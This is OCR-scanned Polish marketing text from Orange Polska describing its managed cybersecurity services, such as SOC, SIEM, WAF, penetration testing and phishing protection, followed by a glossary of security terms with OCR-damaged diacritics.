Systemu klasy Next Generation Firewall stuzgcego do ochrony ruchu przychodzacego
i wychodzacego
Portalu do zarzadzania ustugg przez klienta

Jak dziata: Kontrola praw dostepu do infrastruktury klienta oraz korzystania z internetu przez pracownikow

bez konieczno$ci instalacji dodatkowego sprzetu. Narzedzia do kontroli aplikacji i filtracja www
decyduje o rodzajach aplikacji i kategoriach stron dostepnych dla uzytkownikéw.
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Dla kogo: Dla wszystkich korzystajgcych z sieci internet i posiadajgcych wtasna infrastrukture.

Korzysci: Bezpieczny dostep do internetu
Brak inwestycji w infrastrukture po stronie klienta
Scentralizowana polityka bezpieczenstwa dla wszystkich chronionych lokalizaciji

email Protection

Na czym polega: Ochrona poczty klienta przed infekcjami, phishingiem, spamem i wyciekiem danych.

Jak dziata: Polega na wykorzystaniu gotowej platformy w sieci Orange Polska. Funkcjonalno$ci ustugi to:
Anty malware
Anty phishing
Anty spam
Anty wirus
DLP

Dia kogo: Dla wszystkich klientéw korzystajacych z poczty elektronicznej

Korzysci: Ochrona informacji przekazywanych drogg elektroniczng
Rozwigzanie nie wymaga inwestycji w infrastrukture po stronie klienta

Co to jest: Mobile Device Management to rozwiazanie do zarzadzania flota urzadzen mobilnych klienta.
Na czym polega: Monitorowanie i zarzgdzanie urzgdzeniami mobilnymi klienta np. smartfony, tablety.

Jak dziata: Zarzadzanie flota mobilng poprzez konsole,
Centralne zarzadzanie:
— urzadzeniami mobilnymi - lokalizacja, konfiguracja, backup, zdalne blokowanie czyszczenie danych,
- aplikacjami — centralne repozytorium aplikacji, zdalna dystrybucja i instalacja aplikacji dla grup
uzytkownikéw
- tworzeniem kopii zapasowych najwazniejszych danych dostepnych na urzgdzeniu mobilnym
- politykg bezpieczenstwa
— zdalnym wsparciem technicznym

Dla kogo: Dla zarzadzajacych flota mobilng (smartfony, tablety, laptopy) w kazdej organizacji.

Korzysci: Centralne zarzadzanie urzadzaniami mobilnymi w firmie
Standaryzacja

Monitorowanie incydentow bezpieczenstwa

Co to jest: Staty proces zarzadzania incydentami bezpieczenstwa, w tym notyfikacja oséb odpowiedzialnych
za zarzadzanie infrastrukturg klienta.

Na czym polega: Na wykorzystaniu odpowiednich algorytmoéw (scenariuszy bezpieczenstwa) wyszukiwania informacji
w logach monitorowanych systemow.

Dostepne rozwiazania stosowane osobno lub w pakiecie:

SIEM as a Service

Kiedy stosowac: Chcesz identyfikowaé incydenty w infrastrukturze, mie¢ o nich dane w jednym miejscu i skutecznie
je eliminowac.

Na czym polega: Udostepnienie funkcjonalnosci systemu SIEM dla klienta w celu zbierania istotnych zdarzen z systemow
i aplikaciji, ich korelacji w poszukiwaniu incydentéw bezpieczenstwa.

Jak dziata: Dostarczenie kompletnego rozwigzania, w celu monitorowania w trybie 24/7/365, integracja zrodet
logoéw, opracowanie i wdrozenie scenariuszy bezpieczenstwa
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Dla kogo: Dla wszystkich odpowiedzialnych za utrzymanie infrastruktury i danych, przede wszystkim Operatoréw
Kluczowych zgodnie z Ustawg o Krajowym Systemie Bezpieczenstwa (KSC).

Korzysci: Rozwiazywanie incydentéw bezpieczenstwa
Gotowe zestawy scenariuszy bezpieczenstwa dla systemoéw klienta
Brak koniecznosci budowania, utrzymania i rozwoju systemu klasy SIEM po stronie klienta
Centralna baza wiedzy o monitorowanych systemach
Elastyczny model szyty na miare tzn. mozliwos$¢ uruchomienia u klienta lub w modelu chmurowym

SOC as a Service

Kiedy stosowac: Chcesz scentralizowaé operacje bezpieczenstwa by szybko reagowaé na potencjalne zagrozenia.

Na czym polega: Gotowy proces monitorowania incydentow bezpieczenstwa przy wykorzystaniu kompetencji i zespotu
Security Operations Center (SOC) Orange Polska — operatorzy, analitycy i eksperci monitorujgcego
systemy i dane klienta np. poprzez SIEM.

Jak dziata: Proces polegajacy na integracji danych z systemow klienta z zespotem szybkiego reagowania na
zidentyfikowane incydenty.

Dla kogo: Dla wszystkich odpowiedzialnych za utrzymanie infrastruktury i danych oraz oséb zobowigzanych
ustawg do szybkiego reagowania na incydent (np. RODO, KNF, KSC).

Korzysci: Dostepne procedury obstugi incydentéw
Doswiadczony zespot specjalistow
Brak koniecznosci budowania od podstaw zespotu specjalistéw i kompetenciji po stronie klienta
Natychmiastowe informowanie oséb odpowiedzialnych za infrastrukture i dane chronione o
incydentach

Feed as a Service

Co to jest: Dostarczanie informacji o zaobserwowanej w sieci Orange ztosliwej aktywnosci. Uzyskane dane moga
postuzy¢ do zasilenia systemow zabezpieczen utrzymywanych przez klienta i w efekcie pozwoli¢ na
proaktywne zapobiezenie atakowi.

Na czym polega: Dostarczaniu informacji o zaobserwowanej ztosliwej aktywnosci sieciowej.

Jak dziata: Informacje dostarczane sg w postaci plikéw o zdefiniowanych formatach. Dostepne do pobrania
z portalu klienckiego pliki, sg aktualizowane co 24 godziny i dotycza aktywnosci zaobserwowanej
w ciggu ostatniej doby.

Dla kogo: Wszystkie organizacje utrzymujgce systemy bezpieczenstwa

Korzysci: Informacje o zagrozeniach zidentyfikowanych w sieci Orange Polska, stuzace do zasilenia
dodatkowymi danymi systemow zabezpieczen klienta
Ochrona i podniesienie poziomu bezpieczenstwa systemow oraz uzytkownikéw ustug
Aktywne ograniczenie mozliwosci infekcji, aktywaciji i eksfiltracji danych przez ztosliwe
oprogramowanie

Testy penetracyjne

Co to jest: Praktyczna ocena biezacego stanu bezpieczenstwa,

Na czym polega: Przeprowadzenie kontrolowanego ataku i analiza bezpieczenstwa wskazanych przez klienta stron
WWW i/lub infrastruktury IT. Wskazanie wystepowania potencjalnych luk bezpieczenstwa bezpieczenstwa
spowodowanych niewtasciwg konfiguracjg badz pozostawieniem podatnosci.

Korzysci: Weryfikacja zabezpieczen infrastruktury i/ lub aplikaciji.
Identyfikacja stabych punktow infrastruktury i/ lub aplikaciji.
Zapewnienie zgodnosci z przepisami prawnymi.
Swiadomo$é na temat stabych punktéw infrastruktury i/ lub aplikacji.
Przeprowadzenie rozpoznania, ktére dostarczy informacji na temat podatnosci.
Rekomendacje dotyczace usuniecia wykrytych podatnosci.
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Testy wydajnosciowe

Co to jest: Kontrolowany atak typu DoS/ DDoS na wskazane elementy systemu teleinformatycznego klienta (tacze,
serwery, serwisy, punkt styku z siecig internet) w celu oceny odpornosci na préby atakéw.

Na czym polega: Analiza przeprowadzana z perspektywy potencjalnego przestepcy przy wykorzystaniu kompetencii
zespotu i infrastruktury Spirent Communications, sieci transportowej Orange Polska.

Kiedy stosowac: W celu sprawdzenia zabezpieczen — podatnosci systemu na ataki typu DDoS
Dia kogo: Organizacje udostepniajace innym swoja infrastrukture w sieci
Korzysci: Szybka ocena zabezpieczen systemu przed atakami typu DDoS

Rekomendacje eksperckie w celu poprawy bezpieczenstwa systemu
Obiektywna i niezalezna ocena rzeczywistego poziomu bezpieczenstwa systemow

Testy socjotechniczne

Co to jest: Symulacja ataku phishingowego, ktéra sprawdzi czujnos¢ i Swiadomosé pracownikdéw w zakresie
zagrozen ze strony cyberprzestepcow.

Na czym polega: @ Ocenimy odpornos¢ Twojej firmy na kampanie phishingowe
Pokazemy pracownikom techniki, ktére sg stosowane przez cyberprzestepcow w rzeczywistych atakach
Nauczymy ich jak rozpoznawaé i reagowac na oszustwa wykorzystujgace poczte elektroniczng

Korzysci: Obiektywna ocena cyberbezpieczenstwa pod katem odpornosci pracownikéw
na najpopularniejsze z cyberzagrozen
Ograniczenie potencjalnych strat finansowych, wizerunkowych oraz regulacyjnych

Przeglady i doradztwo SZBI

Co to jest: Przeglad i ocena proceséw bezpieczenstwa informacji pod katem ich zgodnosci z normami i przepisami
prawa - i/lub doradztwo i wsparcie przy zabezpieczaniu proceséw zwigzanych z przetwarzaniem informaciji.

Na czym polega: Prace sg wykonywane w oparciu o zgodno$¢ z przepisami i/lub normami np. ISO 27001, ISO 22301,
ustawg o Krajowym Systemie Cyberbezpieczenstwa, RODO, Rekomendacja D KNF.

Dla kogo: Firmy przetwarzajace informacje wymagajgce zabezpieczenia np. dane osobowe, projekty techniczne,
dane strategiczne, finansowe.

Wsparcie eksperta bezpieczenstwa (CISO)

Co to jest: Wsparcia ekspertow CERT Orange Polska w réznych biezgcych kwestiach zwigzanych z ochrong informaciji.

Na czym polega: W ramach ustugi Klientowi udostepniany jest zesp6t ekspertdw, ktory dzieki szerokim kompetencjom
zapewni doradztwo w dziedzinie cyberbezpieczenstwa dostosowanego do biezgcych potrzeb Klienta.
Moze ono obejmowac miedzy innymi takie zagadnienia jak planowanie i prowadzenie programoéw
bezpieczenstwa, identyfikacja ryzyka, tworzenie wymagan bezpieczenstwa, wsparcie w audycie
dostawcow, utwardzanie proceséw, a nawet zarzadzanie incydentami.

Dla kogo: Firmy przetwarzajgce informacje wymagajace zabezpieczenia np. dane osobowe, projekty techniczne,
dane strategiczne, finansowe.

Korzysci: Zapewnienie zgodnos$ci z przepisami prawnymi w zakresie przegladéw bezpieczenstwa informac;ji
Wsparcie dla oséb zajmujgcych sie bezpieczenstwem informaciji u Klienta w rozmaitych
zagadnieniach zwigzanych z ochrong informacji
Wsparcie lub prowadzenie programdw zwiekszania bezpieczenstwa w organizaciji
Identyfikacja luk oraz projektowanie i wsparcie we wdrazaniu rekomendaciji
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Ochrona przed ztosliwym oprogramowaniem

(Malware Protection InLine)

Co to jest: Ochrona zasobo6w sieciowych klienta poprzez zapobieganie i wykrywanie infekcji ztosliwym
oprogramowaniem (ang. malware) prébujgcym przenikngé z internetu.

Na czym polega: Sieciowy ruch klienta jest monitorowany i analizowany pod katem obecnosci ztosliwego
kodu w przesytanych plikach.

Jak dziata: Malware jest wykrywany z wykorzystaniem technik detekcji powigzanych ze szczegétowa analizg
ataku. Podejrzane przeptywy sieciowe sg odtwarzane w maszynach wirtualnych, przeprowadzajgcych
zaawansowane analizy zachowania malware w srodowisku symulujgcym realne stacje robocze
(Sandbox). Proces opiera sie na analizie zachowania kodu, co pozwala zidentyfikowac¢ ataki APT
i zero-day. Ruch wychodzacy z infrastruktury klienta do internetu analizowany jest pod katem
potaczen ztosliwego oprogramowania z tzw. serwerami C&C.

Dia kogo: Dla wszystkich korzystajgcych z sieci internet Orange Polska i posiadajgcych wtasng infrastrukture.

Korzysci: Szybka identyfikacja i blokada aktywnosci ztosliwego oprogramowania
Ochrona przed cyberzagrozeniami typu APT i zero-day
Brak koniecznosci inwestowania w urzadzenia zabezpieczajace ustugi
Ochrona przed niefrasobliwoscig pracownikéw klienta

Co to jest: Zapobieganie skutkom atakéw typu DDoS ukierunkowanych na infrastrukture DNS klienta.
Na czym polega: Geograficzne rozproszenie serweréw odpowiadajacych na zapytania DNS klientow.

Jak to dziata: Orange Polska uzywa technologii ,anycast”, w ktérej pracujg Swiatowe sieci serwujace
np. domene.com czy .pl. Secure DNS sktada sie z ponad 40 weztéw, znajdujacych sie zaréwno
w sieci Orange, jak i w innych sieciach w Polsce i na swiecie. Odpowiedzi z najblizszego sieciowo
wezta bedg przychodzity maksymalnie szybko, po najkrotszej mozliwej trasie, bez opdznien.

Dla kogo: Dla klientéw $wiadczacych ustugi w internecie, wtascicieli domen internetowych.

Korzysci: Odsuniecie atakow na serwery DNS od wiasnej infrastruktury
Zapewnienie dostepnosci ustug DNS
tatwa i szybka konfiguracja ustugi i obstuga zmian
Mozliwos$¢ petnego outsourcingu ustugi DNS klienta z wykorzystaniem infrastruktury Secure DNS

StopPhishing

Co to jest: Blokowanie ruchu sieciowego do strony stworzonej przez przestepce

Jak to dziata: Aktywna blokada ruchu sieciowego pomiedzy uzytkownikami sieci Orange Polska a serwerami
lub domenami internetowymi zidentyfikowanymi jako element kampanii phishingowej. Przy wykorzystaniu
zespotow SOC i CERT Orange Polska gwarantujemy w szybkim czasie blokade kampanii oraz pilne
informowanie innych zespotéw szybkiego reagowania o zidentyfikowanym incydecie.

Dla kogo: Dla klientéw $wiadczacych ustugi w internecie:
firmom z sektora finansowego i bankowego
posrednikom ptatnosci internetowych
sklepom internetowym
dostawcom tresci
firmom, ktérych klienci sg szczegdlnie narazeni na utrate danych przez fatszywe strony logowania
do serwiséw wymagajgcych uwierzytelniania

Korzysci: Minimalizacja skali ataku poprzez ograniczenie liczby potencjalnych ofiar

Zmniejszenie kosztéw obstugi incydentow bezpieczenstwa po stronie klienta
Znaczne ograniczenie ryzyka wizerunkowego zwigzanego z marka klienta

112

Web Application Protection (platforma WAF aa$S)

Co to jest WAF?: Platforma Web Application Firewall jest zlokalizowana w sieci szkieletowej Orange Polska.
Kiedy stosowac: Niedostepno$é ustug zwigzanych z aplikacja klienta.

Na czym polega: Ochrona zasobéw klienta przed atakami aplikacyjnymi. Caty ruch http/https
kierowany jest z internetu do chronionych zasobow zostaje przekierowany przez platforme
ustugowa WAF i poddany analizie zgodnie ze zdefiniowang polityka bezpieczenstwa.

Jak dziata: Umozliwia ochrone przed dziesiecioma najbardziej krytycznymi zagrozeniami aplikacji
webowych zdefiniowanymi w OWASP Top 10 i pozwala na podniesienie bezpieczenstwa
aplikacji webowych bez koniecznosci modyfikacji kodu.

Dla kogo: Dla wszystkich udostepniajacych aplikacje w sieci internet.

Korzysci: Zapewnienie bezpieczenstwa informacji i proceséw biznesowych
Staty monitoring ruchu i identyfikacja wystgpienia potencjalnych zagrozen
Kompetencje specjalistéw z Security Operations Center dostepne w trybie 24/7/365
Natychmiastowe odparcie ataku od infrastruktury klienta
Brak koniecznosci inwestowania w odpowiednig infrastrukture i elastyczny model rozliczania

CyberTarcza

Co to jest: Ochrona urzadzen mobilnych klienta dziatajgcych w sieci (stacjonarnej i mobilnej) Orange Polska
przed ztosliwym oprogramowaniem oraz kampaniami phishingowymi.

Na czym polega: Ruch sieciowy jest monitorowany i analizowany pod katem cyberbezpieczenstwa. Ustuga
blokuje potaczenie z zainfekowang strong oraz z kategoriami stron zdefiniowanymi przez klienta.

Jak to dziata: Dziata w oparciu o analize ruchu sieciowego operatora, bez wzgledu na system.

Funkcjonalnosci: ® antymalware, antyphishing, filtrowanie
mozliwosé zdefiniowania blokad w réznych godzinach dla pracownikéw i rodziny
opcja zarzadzania przez uzytkownika filtrami ruchu, w ponad 30* kategoriach
CyberTarcza zawiera dodatkowe zrddta danych o zagrozeniach opracowane pod katem klienta.

Dla kogo: Dla wszystkich korzystajgcych z sieci mobilnej Orange Polska - konsument, przedsiebiorca, prepaid.

Korzysci: Mozliwo$¢ filtrowania
Ochrona przed cyberzagrozeniami typu APT i zero-day
Brak koniecznos$ci inwestowania w urzgdzenia zabezpieczajgce ustugi
Ochrona przed niefrasobliwos$cig pracownikéw klienta

CyberWatch

Co to jest: Ustuga platformowa polegajgca na informowaniu klientéw o wykrytych prébach komunikaciji
z zagrozeniami z jego sieci firmowej (stacjonarnej oraz mobilnej).

Na czym polega: Raporty dostarczane sg klientowi codziennie jako zatgcznik do wiadomosci e-mail.
Jak to dziata: Dziata w oparciu o analize ruchu sieciowego operatora, bez wzgledu na system.

Funkcjonalnosci:  Codzienny raport o wystgpieniu zagrozen wysytany pod wskazany adres e-mail,
Blokowanie komunikacji urzadzen Klienta ze stronami, ktére stanowig zagrozenie,
Kompleksowa ochrona urzgdzen dziatajacych w sieci Orange.

Dla kogo: Dla wszystkich korzystajgcych z sieci Orange Polska

Korzysci: identyfikacja zainfekowanych urzadzen korzystajgcych z sieci Orange,
blokowanie podejrzanego ruchu sieciowego z urzadzen stacjonarnych i mobilnych,
informacja o zagrozeniach,
zapobieganie wyciekowi firmowych danych,
ustuga nie wymaga instalacji po stronie klienta.
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Mamy wypracowane setki scenariuszy
bezpieczenstwa gotowych do uzycia. To wynik
wspotpracy z klientami z r6znych rynkow i branz
- banki komercyjne, lotniska, duze i Srednie
organizacje publiczne oraz prywatne.

Glosariusz

0-day - exploit, ktéry pojawia sie natychmiast po
informacji o podatnosci, dla ktérej nie zostata jeszcze
przygotowana poprawka.

2FA (ang. Two-factor authentication) — mechanizm
umozliwiajgcy zastosowanie dwuskfadnikowego

(lub dwuetapowego) procesu uwierzytelniania. Poza
standardowg parg danych potwierdzajgca tozsamos¢

w systemach (np. nazwa uzytkownika i hasto), mechanizm
ten [pozwala na wykorzystanie dodatkowej informaciji
przesytanej np. wiadomoscig SMS lub uzycia urzgdzenia
potwierdzajgcego tozsamos$é np. tokenu czy smartfonu
generujacego jednorazowy kod (Microsoft / Google
Authenticator). Z tego mechanizmu mozna korzystaé

w najbardziej popularnych serwisach spotecznosciowych.

aaS$ (ang. as a service) — ,jako ustuga”; skrét odnosi

sie do modelu udostepniania zasobéw ustugodawcy
klientowi w postaci ustugi. Taki model pozwala

na unikniecie wielu kosztownych inwestycji w sprzet.
Mozna wymieni¢ tu kilka najpopularniejszych stosowanych
modeli: 1aaS (Infrastructure as a Service), SaaS (Software/
Security as a Service), NaaS (Network as a Service),
MaaS (Malware as a Service) czy XaaS (rozwigzanie

nazwy ustugi zostawiamy czytelnikom).

Abuse - naduzycie; wykorzystanie niektérych mozliwosci
sieci internet niezgodnie z przeznaczeniem lub prawem.
W internecie do naduzy¢ zalicza sie m.in. ataki sieciowe,
rozsytanie spamu, wiruséw, nielegalnych tresci, phishing,
itp. Zespot typu Abuse to jednostka odpowiedzialna

za przyjmowanie i rozpatrywanie zgtoszen dotyczacych
tego typu naduzy¢.

Adres IPv4 (ang. IP address) — unikalny adres dla

kazdego urzadzenia w danej sieci (LAN, WAN czy Internet),
pozwalajgcy jednoznaczng identyfikacje urzadzenia

(trasy) w sieci na potrzeby routingu.

Adware (ang. advertising-supported software)

— oprogramowanie, ktérego podstawowym zadaniem

jest wyswietlanie reklam na urzgdzeniu uzytkownika.
Czesto jest instalowane jako komponent podczas instalacji
innego oprogramowania. Czesto rowniez jest dodawane
do darmowego oprogramowania i instalowane bez wiedzy
i zgody uzytkownika. Ten typ oprogramowania moze

wyswietlac treSci zawierajgce ztosliwy kod - patrz Spyware.

Automatyzacja (definicja zaproponowana przez PWN)

- stosowanie urzadzen do zbierania i przetwarzania
informaciji, przejmujacych pewne dziatania poznawcze,
intelektualne i decyzyjne cztowieka, wykonywane dotad
przez niego w trakcie uzytkowania obiektu (np. obrabiarki,
samolotu, banku) lub w trakcie prac tworczych

(np. projektowania, uczenia).

Backdoor - ,tylne drzwi”; luka w zabezpieczeniach
systemu komputerowego, utworzona umysinie,
w celu pdzniejszego dostepu do systemu. Intruz moze
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utworzy¢ backdoora, wtamujgc sie poprzez inng luke
w oprogramowaniu lub wykorzystujgc uruchomienie trojana
przez uzytkownika.

Blackholing (ang. Blackhole -czarna dziura) — adresy IP
w sieci internet, w ktorych ruch sieciowy jest
neutralizowany, bez informowania adresata lub nadawcy.

Bot (od ang. robot) — zainfekowany i przejety komputer,
wykonujacy polecenia atakujacego.

Botnet - sie¢ potgczonych botéw, zdalnie kontrolowana
przez atakujgcego. Botnety wykorzystywane sa najczesciej
do zmasowanych atakéw typu DDoS lub rozsytania spamu.

C&C (ang. Command and Control) servers — infrastruktura
serwerdw zarzadzana przez cyberprzestepcow,
wykorzystywana do zdalnego wysytania polecen

i kontroli botnetow.

CERT/CSIRT (ang. Computer Emergency Response Team,
Computer Security Incident Response Team) — zesp6t
reagowania na zagrozenia komputerowe. Gtdwnym
zadaniem zespotu jest szybka reakcja na zgtaszane
przypadki zagrozeni naruszen bezpieczenstwa sieciowego.
Prawo do uzywania nazwy CERT majg wytgcznie zespoty,
spetniajgce bardzo wysokie wymagania potwierdzone
uzyskaniem stosownego certyfikatu tak, jak zespét CERT
Orange Polska.

Certstream - serwis umozliwiajacy $ledzenie w czasie
rzeczywistym logéw udostepnianych przez wystawcow
certyfikatéw. Dzieki niemu mozliwy podglad zdarzen
zwigzanych z nowymi i odnawianymi certyfikatami

np. dla stron internetowych.

CEH (ang. Certified Ethical Hacker) — jeden z najbardziej
rozpoznawalnych certyfikatdéw branzowych w obszarze
bezpieczenstwa, potwierdzajgcy kwalifikacje cztonkéw
zespotdéw zajmujacych sie testowaniem zabezpieczen.

CISSP (ang. Certified Information Systems Security
Professional) — uznawany na catym $wiecie certyfikat
potwierdzajacy wiedze, kwalifikacje i kompetencije

w dziedzinie bezpieczenstwa sieciowego.

CyberTarcza - autorskie rozwigzanie Orange Polska, ktére
chroni klientéw sieci stacjonarnej oraz mobilnej przez
skutkami aktywnosci wrogiej aktywnosci w sieci Internet
(np. phishingu czy ztosliwego oprogramowania).

DDoS (ang. Distributed Denial of Service) — rozproszony
atak odmowy ustugi; atak sieciowy, polegajgcy na wystaniu
do atakowanego systemu takiej ilosci danych, ktérych system
ten nie bedzie w stanie obstuzyé. Celem ataku jest blokada
dostepnosci zasobow sieciowych. W przypadku DDoS do
ataku wykorzystywanych jest wiele komputeréw i potgczen
sieciowych, co odroznia go od ataku DoS, ktory korzysta

z jednego komputera i jednego potgczenia internetowego.
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DNS (ang. Domain Name System) - system nazw
domenowych; protokét przypisywania stownych nazw
cyfrowym adresom IP. System ten zostat stworzony

dla wygody uzytkownikdw internetu. Sie¢ internet dziata
w oparciu o adresy IP, a nie nazwy domen, dlatego
wymaga systemu DNS do odwzorowywania nazw
domen w adresy IP.

DNS sinkhole - serwer DNS, ktéry przekazuje fatszywe
informacje, uniemozliwiajgc potgczenie z docelowg strong
internetowa. Wykorzystywany do detekcji oraz blokowania
ztosliwego ruchu w sieci.

Domena internetowa (ang. Internet domain name)

- przestrzen adreséw (zasobow) zwigzanych z dang
organizacja. Nazwa domeny jest elementem uzywanym
np. przy konstruowaniu adreséw URL do identyfikaciji
zasobow (serwiséw) nalezgcych do danej organizacii.
Przyktadem moze by¢ domena orange.pl, w ktérej
dostepne sg zasoby zwigzane z tg domeng, jak serwis
internetowy dla klientéw Orange Polska -- www.orange.pl.

Exploit — program, ktory umozliwia przejecie kontroli
nad systemem komputerowym, wykorzystujac rézne
luki w programach i systemach operacyjnych.

Exploit kit — rodzaj oprogramowania, uruchamianego
na serwerach sieciowych i stuzgcego do wykrywania
luk w zabezpieczeniach.

Firewall - zapora sieciowa; oprogramowanie
(urzadzenie), ktérego podstawowag funkcjag jest filtrowanie
ruchu sieciowego. Mozna wyodrebni¢ zapore lokalng

w postaci narzedzi systemu operacyjnego (chronigca
lokalny zas6b przed zagrozeniami pochodzgcymi

z sieci) lub sieciowg, czesto w postaci specjalistycznego
urzadzenia chronigcego wiekszg liczbe zasobdw.

FQDN (ang. Full Qualified Domain name) — petna nazwa
domenowa zasobu dostepnego w sieci Internet, sktadajaca
sie z nazwy zasobu oraz domeny, ktorej jest czescig

np. www.orange.pl (www to nazwa zasobu, a orange.pl

to domena, w ktorej sie znajduje). FQDN dla witryn
internetowych jest czesciag URI / URL.

Honeypot - ,,garnek miodu”; putapka majgca na celu
wykrycie préby nieautoryzowanego dostepu do systemu
komputerowego lub pozyskania danych. Najczesciej
sktada sie z wyizolowanego komputera wraz z
wyodrebnionym obszarem sieci lokalnej, ktore razem
udajg prawdziwg siec, ale sg odizolowane i odpowiednio
zabezpieczone. System taki ma sprawia¢ wrazenie jakby
zawierat dane lub zasoby atrakcyjne z punktu widzenia
potencjalnego intruza.

HTTP (ang. Hypertext Transfer Protocol) — internetowy
protokét aplikacyjny, zazwyczaj wykorzystywany

do przekazywania wpisanych w pasku adresu przegladarki
internetowej zapytan uzytkownika do serweréw WWW,
aby nastepnie przekaza¢ odpowiedz serwera WWW
zawierajgcg intersujaca tres¢ do przegladarki uzytkownika
w celu jej ,wizualizacji” w postaci np. strony internetowe;.

Zastosowanie protokotu HTTP jest znacznie szersze,
ale przedstawiony przypadek jest najbardziej
charakterystyczny.

HTTPS (ang. Hypertext Transfer Protocol Secure)

- protokot bezpiecznej komunikaciji, ktory jest
rozszerzeniem protokotu HTTP i umozliwia bezpieczng
wymiane informacji dzieki szyfrowaniu danych.

Przy korzystaniu z bezpiecznego potaczenia HTTPS
adres internetowy zaczyna sie od ,https://”.

ICMP (ang. Internet Control Message Protocol) — protokot
komunikacyjny, stuzgcy do przekazywania komunikatow
o nieprawidtowosciach w funkcjonowaniu sieci IP

oraz innych informaciji kontrolnych. Jednym z programéw,
ktére wykorzystuja ten protokot jest ping, ktéry pozwala
sprawdzi¢ czy istnieje potgczenie z innym komputerem

W sieci.

IDS (ang. Intrusion Detection System) — system wykrywania
wtaman. System IDS monitoruje ruch sieciowy, wykrywajac
i powiadamiajgc o zidentyfikowanych zagrozeniach.

Incydent - zdarzenie zagrazajace lub naruszajace
bezpieczenstwo w sieci internet. Do incydentoéw zalicza
sie m.in.: wtamania lub préby wtaman do systemow
komputerowych, ataki typu DDoS, spam, rozsytanie
ztosliwego oprogramowania i inne przypadki naruszania
zasad, ktére obowigzujg w sieci internet.

loT (ang. Internet of Things) - Internet Rzeczy; koncepcja
systemu gromadzenia, przetwarzania i wymiany danych
pomiedzy ,inteligentnymi” urzadzeniami, za posrednictwem
sieci komputerowej. Do loT zalicza sie m.in.: urzadzenia
gospodarstwa domowego, artykuty oswietleniowe, budynki,
pojazdy, itp.

IP (ang. Internet Protocol) — jeden z najwazniejszych
protokotéw komunikacyjnych, uzywany do transmisji
danych w sieci Internet. Zdefiniowany w trzeciej

warstwie modelu OSI (L3) wykorzystywany jest

do okreslenia trasy, ktérg pakiet ma dotrze¢ do celu.
Obecnie wciaz najpopularniejsza jest czwarta wersja
protokotu (IPv4), ale jego nastepca jest wersja szosta (IPv6).

IPS (ang. Intrusion Prevention System) — system
wykrywania zagrozen i zapobiegania atakom w czasie
rzeczywistym.

ITIL (ang. Information Technology Infrastructure
Library) — biblioteka opisujgca kompleksowe podejscie
do $wiadczenia ustug w modelu ustugowym.

Keylogger - program lub urzadzenie, ktére dziatajg
rejestrujg dane wprowadzane za pomocg klawiatury.
Stuzg do $ledzenia dziatan i przechwytywania poufnych
danych uzytkownika (np. danych uwierzytelniajacych,
numeréw kart kredytowych, danych kompromitujgcych
i innych).

Luka - patrz: Podatnosc¢.

Malware (ang. malicious sofware) — ztosliwe
oprogramowanie, ktérego celem jest szkodliwe dziatanie
w stosunku do uzytkownika komputera. Zalicza sie

do niego m.in. wirusy komputerowe, robaki internetowe,
konie trojanskie, programy typu spyware.

MSISDN (ang. Mobile Station International Subscriber
Directory Number) — numer telefonu; numer abonenta
sieci komoérkowe;..

OWASP (ang. Open Web Application Security Project)
— globalne stowarzyszenie, ktére gtdwna ideg jest
poprawa bezpieczenstwa aplikacji webowych.

Phishing - rodzaj oszustwa internetowego, ktérego celem
jest kradziez poufnych informacji od osoby (lub firmy)
bedacej celem ataku lub infekcja urzgdzenia uzytkownika
ztosliwym oprogramowaniem do osiggniecia innych celdw.

Podatnosé (ang. vulnerability) — btad, luka; cecha
sprzetu lub oprogramowania, stanowigca zagrozenie
dla bezpieczenstwa. Moze zosta¢ wykorzystana
przez atakujgcego, jezeli nie zostanie zainstalowana
odpowiednia poprawka.

Poprawka (ang. patch) — aktualizacja oprogramowania
w postaci kodu zrédtowego lub w wersji binarnej,
naprawiajgca zidentyfikowane w nim bfedy.

Ransomware (ang. ransom - okup) — rodzaj ztosliwego
oprogramowania, ktéry po wprowadzeniu do systemu
uzytkownika szyfruje pliki na dysku. Odszyfrowanie
wymaga zaptacenia cyberprzestepcom okupu.

Robak (ang. worm) internetowy — samoreplikujacy

sie ztosliwy program komputerowy. Rozprzestrzenia
sie we wszystkich sieciach, do ktérych jest podtgczony
zainfekowany komputer, wykorzystujac luki w systemie
operacyjnym lub naiwno$¢ uzytkownika. Robak potrafi
m.in. niszczy¢ pliki, wysyta¢ spam albo peti funkcje
backdoora lub konia trojanskiego.

Rootkit — program, ktérego zadaniem jest ukrycie
obecnosci i aktywnosci ztosliwego oprogramowania
przed narzedziami zabezpieczajgcymi system. Rootkit
usuwa ukrywane programy z listy proceséw i jest
wykorzystywany przez atakujgcego w celu uzyskania
nieautoryzowanego dostepu do komputera.

SIEM (ang. Security Information and Event Management)
— system pozwalajgcy na gromadzenie, filtrowanie

i korelacje zdarzen, pochodzacych z wielu réznych zrddet.
Wyniki korelacji zdarzen sg wykorzystywane przez zespoty
Security Operating Center (patrz: SOC) lub inne zajmujace
sie monitorowaniem stanu bezpieczenstwa ustug.

Sinkholing (ang. hole -dziura) — polega na przekierowaniu
niepozadanego ruchu sieciowego, generowanego

przez ztosliwe oprogramowanie lub botnety. Przekierowanie
moze odbywac sie pod takie adresy IP, gdzie zawartos$¢
tego ruchu moze by¢ przeanalizowana, jak réwniez

pod nieistniejace adresy IP.

Skanowanie portéw (ang. port scanning) — dziatanie
polegajgce na wysytaniu danych (datagraméw TCP

lub UDP) do okreslonego zasobu w sieci. Pozwala

ono uzyskac¢ informacje o aktywnosci okreslonych ustug.
Skanowanie przeprowadzane jest zwykle w fazie
rekonesansu w celu pozyskania informac;ji

o interesujacym zasobie.

SLA (ang. Service Level Agreement) - umowa (moze
réwniez stanowi¢ osobny rozdziat w innym kontrakcie)
o gwarantowanym poziomie $wiadczenia ustug,
ustalonego miedzy klientem a ustugodawca. Termin
jest czesciowo powigzany z modelem ustugowym
opisanym w bibliotece ITIL.

Sniffing — dziatanie polegajace na podstuchiwaniu ruchu
w sieci. Sniffing moze by¢ wykorzystany do zarzgdzania
i usuwania probleméw w sieci przez administratoréw
ale takze przez cyberprzestepcow do przechwytywania
poufnych informacji uzytkownikéw (np. haset).
Popularnym atakiem wykorzystujagcym ten mechanizm
jest MiTM (ang. Man in The Middle).

SOC (ang. Security Operations Center) — Operacyjne
Centrum Bezpieczenstwa, tgczace zaréwno funkcje
techniczne, jak i organizacyjne przy monitorowaniu zdarzen,
wykrywaniu incydentéw bezpieczenstwa oraz do
podejmowania reakcji. Wykorzystuje one systemy typu
SIEM korelujace zdarzenia z wielu zrédet (patrz: SIEM).

SPAM - niezamowione i niechciane wiadomosci, rozsytane
masowo, zazwyczaj przy uzyciu poczty elektroniczne;j.
